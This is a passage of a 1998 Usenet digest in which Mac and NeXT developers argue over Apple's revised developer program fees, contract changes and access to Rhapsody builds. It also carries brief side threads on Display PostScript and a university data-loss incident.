> I am an effective advocate for any technology I like and find useful.
> I've never been part of the "Apple camp" in the past, since I'm not fond
> of MacOS. Apple has always relied to some extent on
> enthusiasts/advocates/evangelists, and they could be getting unixers on
> board right now if they cared to.
>
> mmalcolm crawford (malcolm@plsys.co.uk) wrote:
>
> : Why does anyone *need* to be part of the program if they're not developing
> : professional or semi-professional apps. Sure, access to the latest and
> : greatest betas of the s/w is fun, but not essential if you're hacking
at home
> : for the joy of it. Apple is not a charity -- and I don't want to have
to pay
> : more for my Mac to subsidise someone else's hobby.
>
> : mmalc.
>
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 21:23:21 GMT
Organization: Digital Fix Development
Message-ID: <6gje89$q9i$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk> <ericb-0904981637520001@132.236.171.104>
In-Reply-To: <ericb-0904981637520001@132.236.171.104>
On 04/09/98, Eric Bennett wrote:
>In article <6gio5m$oop$11@ironhorse.plsys.co.uk>, mmalcolm crawford
><malcolm@plsys.co.uk> wrote:
>
>> No, I don't. I'm quite sure there are a number of hobbyists
developing
>> worthwhile s/w which I might find useful at some point, however on
balance
>> reports suggest that the previous system was badly abused and on
average
>> Apple will have lost revenue through people signing up as
developers simply
>> to get hardware at reduced prices.
>
>That doesn't give Apple the right to alter contracts. If they want
to
>decrease the discount, or raise the fees for renewals or new
accounts,
>fine. But they're cutting off *existing* subscribers.
>
I guess you've not READ the contract then huh?
>> If you're a real hobbyist, do you *need* access to the bleeding
edge s/w?
>> If not, then you don't need to belong to the program, so it won't
cost you
>> anything.
>
>It would be advantageous for me to start learning Rhapsody
programming
>ASAP. I can't do that very well with MacOS.
>
You're at an educational institution. Perhaps Cornell is
involved in the sponsorship program.
Even if they aren't Apple has already promised an attractive
development program for Students/Faculty.
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 21:21:50 GMT
Organization: Digital Fix Development
Message-ID: <6gje5e$q8g$1@news.digifix.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net> <ericb-0904981631110001@132.236.171.104>
In-Reply-To: <ericb-0904981631110001@132.236.171.104>
On 04/09/98, Eric Bennett wrote:
>In article <joe.ragosta-0804982250580001@wil62.dol.net>,
>joe.ragosta@dol.net (Joe Ragosta) wrote:
>
>
>> As I see it (and these comments reinforce it), Donald is very much
acting
>> in the Lawson mold--Apple is guilty until proven innocent. He's
measuring
>> everything by _HIS_ standards and finds Apple at fault every time
they
>> don't meet his expectations.
>
>I don't see any developers defending Apple's decisions. The best
>"support" I've seen is some Mac news sites parroting Apple's press
>release.
>
Really? I know that Macintouch has received several positive
notes... guess Ric doesn't want to print them.
There has been a number of posts to Rhapsody-talk, and the
Lyris rhapsody list by developers who don't understand what all the
whining is about.
There is an article by a YellowBox developer on Stepwise that
is understanding of the need for the changes.
Guess you should look with better eyes huh?
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 98 22:05:17 GMT
Organization: QMS
Message-ID: <6gjgm5$bfj$1@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <trumbull-0904980039090001@net44-223.student.yale.edu> <6gio5m$oop$11@ironhorse.plsys.co.uk> <ericb-0904981637520001@132.236.171.104>
In article <ericb-0904981637520001@132.236.171.104>, ericb@pobox.com (Eric Bennett) wrote:
>In article <6gio5m$oop$11@ironhorse.plsys.co.uk>, mmalcolm crawford
><malcolm@plsys.co.uk> wrote:
>
>> No, I don't. I'm quite sure there are a number of hobbyists developing
>> worthwhile s/w which I might find useful at some point, however on balance
>> reports suggest that the previous system was badly abused and on average
>> Apple will have lost revenue through people signing up as developers simply
>> to get hardware at reduced prices.
>
>That doesn't give Apple the right to alter contracts. If they want to
>decrease the discount, or raise the fees for renewals or new accounts,
>fine. But they're cutting off *existing* subscribers.
Like I have said iin other posts, had they continued the former
rights and privledges until the end of my developer contract, I
would merely think this an unwise change, but they have
changed it unilaterally, for the worse, and without sufficient
(i.e. before the last renewal) warning, imho.
To be fair, in the contract I signed, they reserved the right to
change any and all terms and conditions unilaterally, and noted
that neither full nor partial refunds are possible.
The credit card company I talked with earlier said they wanted a copy
of the agreement faxed to them, so that they could see whether it
was, in the opinion of thier lawyers, enforcable, but it sounded (if
my description was accurate, fair, and complete) like it was not.
..
>I'm still not sure about whether the $199 subscription to mailings
>includes things like Rhapsody DRs or not. Some people say yes, other info
>seems to say "no." If it does, it's a reasonable solution for people like
>me, and my only remaining beef would be that Apple has changed the terms
>of active subscriptions (still, that's a serious complaint).
From what I have been reading, if they class a Rhapsody build as
part of the SDK or part of a released version of the software, then it
will likely come on the CDs. If they classify it as a seeding
release, then it will not. So far, they have never made a pre release
OS part of the developer mailings, and they only rarely have released
other software in other than final form. OpenDoc comes to mind as
a counter example.
So far, they have classified Rhapsody, and all other pre release
operating systems, as seeding releases, but, except for a brief time,
you could not get the developer mailing without having implicit
permission to join the seeding program.
If they are wise, they will provide some kind of schedule wherein
developers can get Rhapsody builds prior to the general public
expecting thier software to work on them, but there is little
information as to whether Apple intends to change policy in that
way.
Scott
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
From: pointal@lure.u-psud.fr (Laurent pointal)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 08:28:44 GMT
Organization: CNRS - LURE
Message-ID: <352c857a.2678525846@news.u-psud.fr>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu>
On 8 Apr 1998 19:24:55 GMT, gcheng@uni.uiuc.edu (Guanyao Cheng) wrote:
>: Although I disapprove of the move by Apple, I really question why a
>: HS/college student would have to join the developer programs to write
>: software. After all, they could just download MPW or buy CodeWarrior at a
>: huge discount, and learn from the vast amount of online resources at
>: devworld.apple.com.
Do you know the bandwitdh of US servers out of the US? Do you know the
cost of communications out of the US?
For a student working at home, CDs are far better with his <1 to 5
kb/sec IP connection to US (at ~ $1/hour com cost + fixed provider
cost).
A+
Laurent.
---
Laurent POINTAL - CNRS/LURE - Service Informatique Experiences
Tel/fax: 01 64 46 82 80 / 01 64 46 41 48
email : pointal@lure.u-psud.fr ou lpointal@planete.net
ouebe : http://www.planete.net/~lpointal
From: Joshua Winsor <joshua@alexa.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 15:19:04 -0700
Organization: Internet Archive
Message-ID: <352D4957.84AE1890@alexa.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Scott Anguish wrote:
> Now, as far as Rhapsody is concerned it is leaving a gap, but
> only because of the time-frame.... However if you join Select you're
> still covered.
>
Download GnuStep and MKLinux, all free, MKLinux paid for by Apple, and
you are a Rhapsody developer.
From: j-jahnke@uchicago.edu (Jerome Jahnke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 20:01:04 -0500
Organization: University of Chicago -- BSDIS/CRT
Message-ID: <j-jahnke-0904982001050001@192.168.1.4>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net>
Xcanpos: shelf.1/199804240601!0013914045
In article <joe.ragosta-0804982109560001@elk62.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Anyone notice that people like Mr. brown here, who would apparently never
> go near a Mac from reading his posts, are the ones complaining while
> developers like mmalc are supporting the change?
Given Mr Brown was once a developer of note for the Mac also speaks
volumes, apparently he has moved on becuase Apple fucked with him one to
many times...
Jer,
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 98 15:24:34 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B15298C1-10AAF2@207.217.155.85>
References: <joe.ragosta-0904981624100001@wil59.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.earthlink.net/comp.sys.mac.oop.powerplant,
nntp://news.earthlink.net/comp.sys.mac.programmer.codewarrior,
nntp://news.earthlink.net/comp.sys.next.advocacy,
nntp://news.earthlink.net/comp.sys.next.programmer
>>Me
> Joe Ragosta
>> A spanking over a fairly reasonable tactical move sends the wrong
message.
>> This move would not have been met with intense cynicism if developers
>> thought Apple had an overall clue and direction and appreciation of how
>> developers support Apple. It starts from the top, and unfortunately, is
>> beyond the control of ADR.
>
>So, in other words, you're just assuming that, because it's Apple, they
>did the wrong thing.
No Joe. Read the rest of my comments. I'm observing that this isn't flying
with developers because of the wider context of a company that doesn't get
"developer relations". Plug yourself into one of many private Mac
developers chat lists if you doubt that *real* developers are dumbfounded
over this move. Take a look at MacCentral today. The reaction isn't just
from hobbyists/GNUists/students. And it's not all about not being able to
afford the new programs. It's about whether those programs are worth the
money and meet developer needs.
You wanna know something? I strongly believe that if Apple (the company,
not ADR) treated its current developer crop as partners and respected their
business concernd (Newton and OD/CD and Rhapsody direction are prime
examples), and if they'd had the PR for the programs worded a little
better, Apple would be hailed today as the most pro-developer company in
history after announcing the new programs.
I do not deal in simplistic FUD nor irrational support, Joe, as you
suggest.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 15:54:18 -0700
Organization: Graves Associates
Message-ID: <gmgraves-0904981554180001@sf-usr1-47-175.dialup.slip.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul> <6gh8v1$oop$6@ironhorse.plsys.co.uk> <joe.ragosta-0904980642200001@elk33.dol.net>
In article <joe.ragosta-0904980642200001@elk33.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <6gh8v1$oop$6@ironhorse.plsys.co.uk>, mmalcolm crawford
> <malcolm@plsys.co.uk> wrote:
>
> > In <01bc4540$d4a15e60$3af0bfa8@davidsul> "macghod" wrote:
> > >
> > > > The lowest paid developer status is $500 instead of $250. If you really
> > > > need to get the beta OS versions, your cost went up by $250. But
everyone
> > > > else seems to be better off.
> > >
> > > More Ragosta FUD. "Everyone else seems to be better off". Who is better
> > > off?
> > >
> > Apple's customers who no longer have to subsidise hobbyist developers.
> >
> > Best wishes,
> >
> > mmalc.
>
> Or hobbyist pseudo developers--people who never wrote an app or never
> planned to, but paid the $250 for access to hardware and software
> discounts.
\
And what's wrong with paying $250, signing an NDA, and getting the OS
software early? I'm interested. I want to see what's going on. I don't
mind paying the money for that privilege. I'm looking mightily forward
to the DR2 Rhapsody release, and plan to use it, and upgrade to subesquent
one's as they come available. I will also file bug reports (least I can do),
as, I'm sure most people in this category would. That is a service Apple used
to pay people good money for (product assurance) but, they fired all of those
people, now its just developers.
If Apple wanted to insure that the people who joined the Developer program
were REALLY developers, then, instead of hiking up the price (which hurts
everybody) they should screen applicants. Ask 'em what kind of software
they're developing, and ask for a time-table and to be included in the loop.
Those unable to comply, would then be dropped. But Apple doesn't even ask
you what you want to be a developer for. They just want the money and
the NDA.
If Apple were smart (there's the big one again. Snort! If Apple were smart
indeed, who am I kidding?) Developer programs would be FREE as would
admission to WWDC. They need more developers, not fewer developers.
BTW, anyone who wants the mailings can purchase a year's subscription
for $199. I'm not sure whether this includes seeding or not (based, of
course, on signing an NDA), but this is actually $50 cheaper than the
current Associate fee.
George Graves
>
> --
> Regards,
>
> Joe Ragosta
> See the Complete Macintosh Advocacy Page
> http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 9 Apr 1998 17:50:55 -0500
Organization: CE Software
Message-ID: <MPG.f970cce11b8c92e989898@news.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net>
In article <joe.ragosta-0804982250580001@wil62.dol.net>,
joe.ragosta@dol.net says...
> As I see it (and these comments reinforce it), Donald is very much acting
> in the Lawson mold--Apple is guilty until proven innocent. He's measuring
> everything by _HIS_ standards and finds Apple at fault every time they
> don't meet his expectations.
>
One more thing...I can't imagine why you find it odd that I'm measuring
Apple by my standards. I make comments from the point of view of small
commercial developer. I assume that's understood. I am not would not
never would try to enforce my standards on Apple, just giving commentary.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 9 Apr 1998 17:48:13 -0500
Organization: CE Software
Message-ID: <MPG.f970c25119c4d82989897@news.supernews.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net>
In article <joe.ragosta-0804982250580001@wil62.dol.net>,
joe.ragosta@dol.net says...
> As I see it (and these comments reinforce it), Donald is very much acting
> in the Lawson mold--Apple is guilty until proven innocent. He's measuring
> everything by _HIS_ standards and finds Apple at fault every time they
> don't meet his expectations.
>
Nope. Apple is guilty when it performs a guilty action. Yes, I'm
measuring Apple by my standards and making my comments appropriately--
when they meet my standards they get kudo, when they don't they get
slams.
I've been rolled over and left high and dry by Apple so many times that I
no longer have faith in their wisdom or benificence. They often do great
things and I say so when they do so, and they often screw up and I say so
when they do so.
After you've been bitten a few times, you no longer have to assume the
dog showing his teeth is just smiling.
Donald
From: paul@lsl.co.uk (Paul Hardy)
Newsgroups: comp.lang.postscript,comp.sys.next.advocacy
Subject: Re: Adobe dps-info Was:Re: End of Display PostScript?
Date: 9 Apr 98 09:50:47 +0000
Organization: Laser-Scan Ltd., Cambridge, UK
Message-ID: <1998Apr9.095048@lsl>
References: <ldo-2403981003100001@a24.hn1.wave.co.nz> <3519F50E.2E4C51B@trilithon.com> <1998Mar30.113319@lsl> <352C3C0F.5CB6E295@rs6000.cmp.ilstu.edu>
In article <352C3C0F.5CB6E295@rs6000.cmp.ilstu.edu>, "Eric A. Dubiel" <eadubie@rs6000.cmp.ilstu.edu> writes:
> FYI...hope this helps a bit. -Eric
>
He then included a recently-retrieved document from Adobe (extract follows):
> Date: Sun, 5 Apr 1998 15:31:42 -0700 (PDT)
> From: auto-reply daemon for dps-info <nobody@Adobe.COM>
>
> Display PostScript(TM) Product Information
> ==========================================
> This message describes the features and benefits of the Display PostScript
> system ...
>
> [... much elided ...]
>
> Copyright (C) 1993 Adobe Systems Incorporated.
>
I don't think an Adobe document from 1993 is going to help us much.
Has anyone seen anything recent and definitive from Adobe (or anyone else)
about the precise future status of DPS ?
I'm aware that DEC are ceasing to support it as part of the Alpha Ultrix OS in
a future release after 4.0D, but will still ship it as an unsupported option.
Given that Adobe haven't altered it for years this isn't as significant as it
first appears (it's still a shame though).
--
Paul Hardy (PGH), Product Manager (was Chief Programmer), Laser-Scan Ltd,
Science Park, Milton Rd, CAMBRIDGE, CB4 4FY, GB. Tel: +44 (0)1223 420414
Fax: 420044, Email: PAUL@LSL.CO.UK, Web: http://www.Laser-Scan.com
Good judgement is the result of experience ...
... Experience is the result of bad judgement. (Fred Brooks)
Date: Thu, 09 Apr 1998 19:37:37 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0904981937380001@elk64.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352D35D6.E368D52C@am.not.here>
In article <352D35D6.E368D52C@am.not.here>, i@am.not.here.either wrote:
> My two bits...
>
> It seems that all the hub-bub is w.r.t. shareware and freeware developers.
> Now, I could be wrong, but it seems to me that what Apple is saying
is...If you
> want to develop commercial software, choose either our select or premier
> programs. Otherwise, use an educational institution to gain access to our
> products.
And if you want to develop shareware, download the FREE SDKs. In case
someone missed it, that's FREE.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Thu, 09 Apr 1998 19:40:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Message-ID: <joe.ragosta-0904981940420001@elk64.dol.net>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <trev-0904981206050001@nas-sa-p5.usc.net> <352d5190.286081406@news.sunflower.com>
In article <352d5190.286081406@news.sunflower.com>, nhughes@sunflower.com wrote:
> On or about Thu, 09 Apr 1998 12:06:05 -0400, in comp.sys.mac.advocacy
> trev@sc.edu (Trevor Zion Bauknight) exclaimed :
>
> >In article <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> >
> >> years of academic work. The disaster affects 10 - 15 faculty and doctoral
> >> candidates directly posing a "serious blemish" for the School of Business.
> >
> >Ouch! That's not funny. One can only hope this gets well-publicized...
>
> I personally think that ANYONE who counts on someone else to safeguard
> their data deserves to lose it. Too many users are still plain
> clueless when it comes to computers, maybe this will wake some of them
> up.
>
> In a related view, I think its about time universities require at
> least two semesters of computer basics and I really think everyone
> enrolling in a university should be required to own a computer. You
> can buy a usable system for $400.
OR, Universities can stop mandating that people adopt a platform and MIS
system that makes such wholesale problems possible.
If the university leaves users alone and they lose data, it's their own
fault. But when the university mandates that they use certain tools, it's
the university's fault when the tools cause them to lose data.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: scott@eviews.com (Scott Ellsworth)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 98 23:50:55 GMT
Organization: QMS
Message-ID: <6gjmsc$fg4$2@news01.deltanet.com>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net> <MPG.f96ab2832ee6e1a9896d8@news.itg.ti.com> <MPG.f97115b6eb9d82698989a@news.supernews.com>
In article <MPG.f97115b6eb9d82698989a@news.supernews.com>, don.brown@cesoft.com (Donald Brown) wrote:
>In article <MPG.f96ab2832ee6e1a9896d8@news.itg.ti.com>, jmcn@msg.ti.com
>says...
>> In article Joe Ragosta, joe.ragosta@dol.net says...
..
>> > But I don't see anything here that changes the essence.
..
>> People who do rely on Apple get the shaft, a lot.
>Before we all go jumping into bed together....
>
>Apple can burn you, and yet Apple can bless you. Apple is neither
>perfect or is it the spawn of Satan. If I didn't care any more, if I
>didn't find this fascinating and love thoe machines, I wouldn't be here.
This is true for me as well.
As a response to a crisis of faith, I spent a bit of time browsing the
Windows APIs again. While I do this for work purposes, I rarely just
wander through them to get a feel for them. In my mind, they are
still quite inferior. (There is, of course, room for disagreement on
this. Other people have other needs.)
Coupled with the crashes I have had of late on my P333 running
a pretty stock install of Win95, I am still confident that the Mac
has a place. If I did not find it sufficiently superior to the
competition that I get angry with Microsoft, then I would not
be that interested. (MS has so much cash that I have little
sympathy for any crashes in thier OS. They can afford to
drown it in resources, so a BSOD is a failure of will and
intention.)
Unfortunately, Apple does regularly do foolish things, and when
they do, they pick doozies. Again, this is my own opinion as
a developer of some substantial programs on both platforms, but
I hope it is representative. It seems fair to me at this time to
state that the present actions by Apple do not lead to a feeling
of stability. Sometimes, they do good things, such as when they
chose to release MPW for free. The good ones make me think
they have a better chance, and are more reliable. I then increase
the evangalism efforts where I can.
Sometimes, they do bad things, like the unilateral change in
the developer programs which reduced the current benefits to
recent subscribers. These add to feelings of uncertainty. Not
uncertainty in a global "Apple is doomed" sense, but the small
scale uncertainty of "Apple says Rhapsody is important, and
that the MacOS will be around for quite some time. Apple also
said that the Newton was spun back in to preserve it, that Open
Doc was an important technology, and that Copland would ship
in 95. How much can I trust the statement du jour?"
We know that they are going to have to make some unexpected
changes, and that we as developers are going to have to react to
them. That is why we get the big bucks. They should be very
cautious, though, because if they do make a substantial change
which harms us, without enough good changes to compensate,
we will react rationally. The reintroduction of the developer
mailings is a very good idea, but given the recent changes,
I am not willing to take on faith that they are going to include
Rhapsody release versions in the mailings. I would have
said that was very likely until recently, but the changes have
made me doubt their constancy. Now, they need to reassure
people about thier exact plans about who gets Rhapsody, how, and
when.
If they are not ready to do this, then why did they pick now to
make these changes? Why not wait until they had all the answers.
Surely, the hostile response was not a surprise?
>My objections to some actions of Apple do not mean I hate Apple. I'm
>still hopining somehow things will be turned around.
Exactly. I am using every tool within my grasp to convince
them to change thier actions precisely because the current
ones seem ill considered, in poor faith, and rapacious. Better
packaging, and efforts to assure me of where I, and other
developers, will fit in the future would go a long way towards making
me feel they are not completely clueless.
>A world without the Mac would be a much sadder world indeed.
True enough.
Scott Ellsworth
Apple Associate Developer
Scott Ellsworth scott@eviews.com
"When a great many people are unable to find work, unemployment
results" - Calvin Coolidge, (Stanley Walker, City Editor, p. 131 (1934))
"The barbarian is thwarted at the moat." - Scott Adams
Date: Thu, 09 Apr 1998 19:56:40 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple's Announcement Misleading. WAS :Apple developer program
Message-ID: <joe.ragosta-0904981956410001@elk90.dol.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net> <gmgraves-0904980952020001@sf-pm5-27-91.dialup.slip.net>
In article <gmgraves-0904980952020001@sf-pm5-27-91.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> I spoke, This AM, with someone from Apple Developer Support.
> He said that the E-mail that all developer's received about
> Apple's changes in their Dev program (and the source of Ric Ford's
> Info), is misleading. The actual impetus, apparently, for these
> changes, is to IMPROVE accessability to these resources, not to
> make them more expensive.
>
> While notoutlining what the actual changes are, he said that at the low
> end of the tier, Apple was trying to divorce the dev materials from the
> support, in order to make those materials cheaper. He said that it is now
> possible for small developers to get the seeding materials and the monthly
> mailings at much less cost than the $250 minimum under the old program.
> Unfortunately, the Apple E-mail sent to all of its developers does not put it
> this way. According to my source within Apple Developer support. the E-mail
> was "poorly written......." We shall see.
I guess the question to answer to determine the accuracy of this is: "Was
it previously possible to download the SDK's for free?" If it was not, the
new program _would_ be an improvement on the low end since you could get
started without spending a penny. If it was always possible to download
the SDK's for free, it's hard to understand how the new program could be
an improvement.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 11:50:09 +0200
Organization: The Computer Society at Lund
Message-ID: <6gi5kh$ors$1@bartlet.df.lth.se>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <01bc4540$d4a15e60$3af0bfa8@davidsul>
NNTP-Posting-User: cb
In article <01bc4540$d4a15e60$3af0bfa8@davidsul>,
macghod <macghod@concentric.net> wrote:
>
[ in an earlier article, Joe Ragost wrote: ]
>> The monthly mailing is available for $50 less than the old Associate
>membership.
>>
>> The lowest paid developer status is $500 instead of $250. If you really
>> need to get the beta OS versions, your cost went up by $250. But everyone
>> else seems to be better off.
>
>More Ragosta FUD.
It would appear you are unfamiliar with the meaning of the acronym 'FUD'.
'FUD' stands for 'Fear, Uncertainty and Doubt'. The moniker 'FUD' is
usually used when someone makes claims _against_ a certain technology or
company or <whatever>, based not upon fact, but innuendo and opinion - and
intended to create 'fear, uncertainty and doubt' about said company or
technology. Ie, like when people claim that 'Apple is going to die soon',
or 'there is no software for MacOS'.
Joe Ragosta, above, does not spread 'FUD' in any sense of the expression.
Rather, Joe indicates his own opinion that the new developer programs are
not as bad as some people want to make them look; this, he is trying to
reassure people, calm them, and _not_ drive them off a particular
direction; he is doing the exact opposite of spreading FUD.
> "Everyone else seems to be better off".
